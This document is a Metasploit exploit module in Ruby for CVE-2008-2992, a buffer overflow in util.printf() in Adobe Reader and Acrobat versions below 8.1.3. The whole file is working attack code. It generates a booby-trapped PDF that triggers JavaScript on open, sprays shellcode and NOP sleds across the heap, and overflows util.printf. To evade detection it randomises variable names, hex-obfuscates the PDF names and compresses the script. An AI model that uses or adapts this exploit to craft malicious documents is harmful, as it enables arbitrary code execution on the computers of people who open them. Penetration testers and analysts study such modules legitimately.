Adobe – ‘util.printf()’ Local Buffer Overflow (Metasploit) (2)
## # $Id: adobe_utilprintf.rb 10477 2010-09-25 11:59:02Z mc $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'zlib' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Adobe util.printf() Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat Professional < 8.1.3. By creating a specially crafted pdf that a contains malformed util.printf() entry, an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'MC', 'Didier Stevens <didier.stevens[at]gmail.com>' ], 'Version' => '$Revision: 10477 $', 'References' => [ [ 'CVE', '2008-2992' ], [ 'OSVDB', '49520' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", }, 'Platform' => 'win', 'Targets' => [ [ 'Adobe Reader v8.1.2 (Windows XP SP3 English)', { 'Ret' => '' } ], ], 'DisclosureDate' => 'Feb 8 2008', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']), ], self.class) end def exploit # Encode the shellcode. shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Make some nops nops = Rex::Text.to_unescape(make_nops(4)) # Randomize variables rand1 = rand_text_alpha(rand(100) + 1) rand2 = rand_text_alpha(rand(100) + 1) rand3 = rand_text_alpha(rand(100) + 1) rand4 = rand_text_alpha(rand(100) + 1) rand5 = rand_text_alpha(rand(100) + 1) rand6 = rand_text_alpha(rand(100) + 1) rand7 = rand_text_alpha(rand(100) + 1) rand8 = rand_text_alpha(rand(100) + 1) rand9 = rand_text_alpha(rand(100) + 1) rand10 = rand_text_alpha(rand(100) + 1) rand11 = rand_text_alpha(rand(100) + 1) script = %Q| var #{rand1} = unescape("#{shellcode}"); var #{rand2} =""; for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape("#{nops}"); #{rand4} = #{rand2} + #{rand1}; #{rand5} = unescape("#{nops}"); #{rand6} = 20; #{rand7} = #{rand6}+#{rand4}.length while (#{rand5}.length<#{rand7}) #{rand5}+=#{rand5}; #{rand8} = #{rand5}.substring(0, #{rand7}); #{rand9} = #{rand5}.substring(0, #{rand5}.length-#{rand7}); while(#{rand9}.length+#{rand7} < 0x40000) #{rand9} = #{rand9}+#{rand9}+#{rand8}; #{rand10} = new Array(); for (#{rand11}=0;#{rand11}<1450;#{rand11}++) #{rand10}[#{rand11}] = #{rand9} + #{rand4}; util.printf("%45000.45000f", 0); | # Create the pdf pdf = make_pdf(script) print_status("Creating '#{datastore['FILENAME']}' file...") file_create(pdf) end def RandomNonASCIIString(count) result = "" count.times do result << (rand(128) + 128).chr end result end def ioDef(id) "%d 0 obj" % id end def ioRef(id) "%d 0 R" % id end #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ def nObfu(str) result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' result << "#%x" % c.unpack("C*")[0] else result << c end end result end def ASCIIHexWhitespaceEncode(str) result = "" whitespace = "" str.each_byte do |b| result << whitespace << "%02x" % b whitespace = " " * (rand(3) + 1) end result << ">" end def make_pdf(js) xref = [] eol = "\x0d\x0a" endobj = "endobj" << eol # Randomize PDF version? pdf = "%PDF-1.5" << eol pdf << "%" << RandomNonASCIIString(4) << eol xref << pdf.length pdf << ioDef(1) << nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << nObfu("/OpenAction ") << ioRef(5) << ">>" << endobj xref << pdf.length pdf << ioDef(2) << nObfu("<</Type/Outlines/Count 0>>") << endobj xref << pdf.length pdf << ioDef(3) << nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>") << endobj xref << pdf.length pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>") << endobj xref << pdf.length pdf << ioDef(5) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << endobj xref << pdf.length compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js)) pdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol pdf << endobj xrefPosition = pdf.length pdf << "xref" << eol pdf << "0 %d" % (xref.length + 1) << eol pdf << "0000000000 65535 f" << eol xref.each do |index| pdf << "%010d 00000 n" % index << eol end pdf << "trailer" << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol pdf << "startxref" << eol pdf << xrefPosition.to_s() << eol pdf << "%%EOF" << eol end end |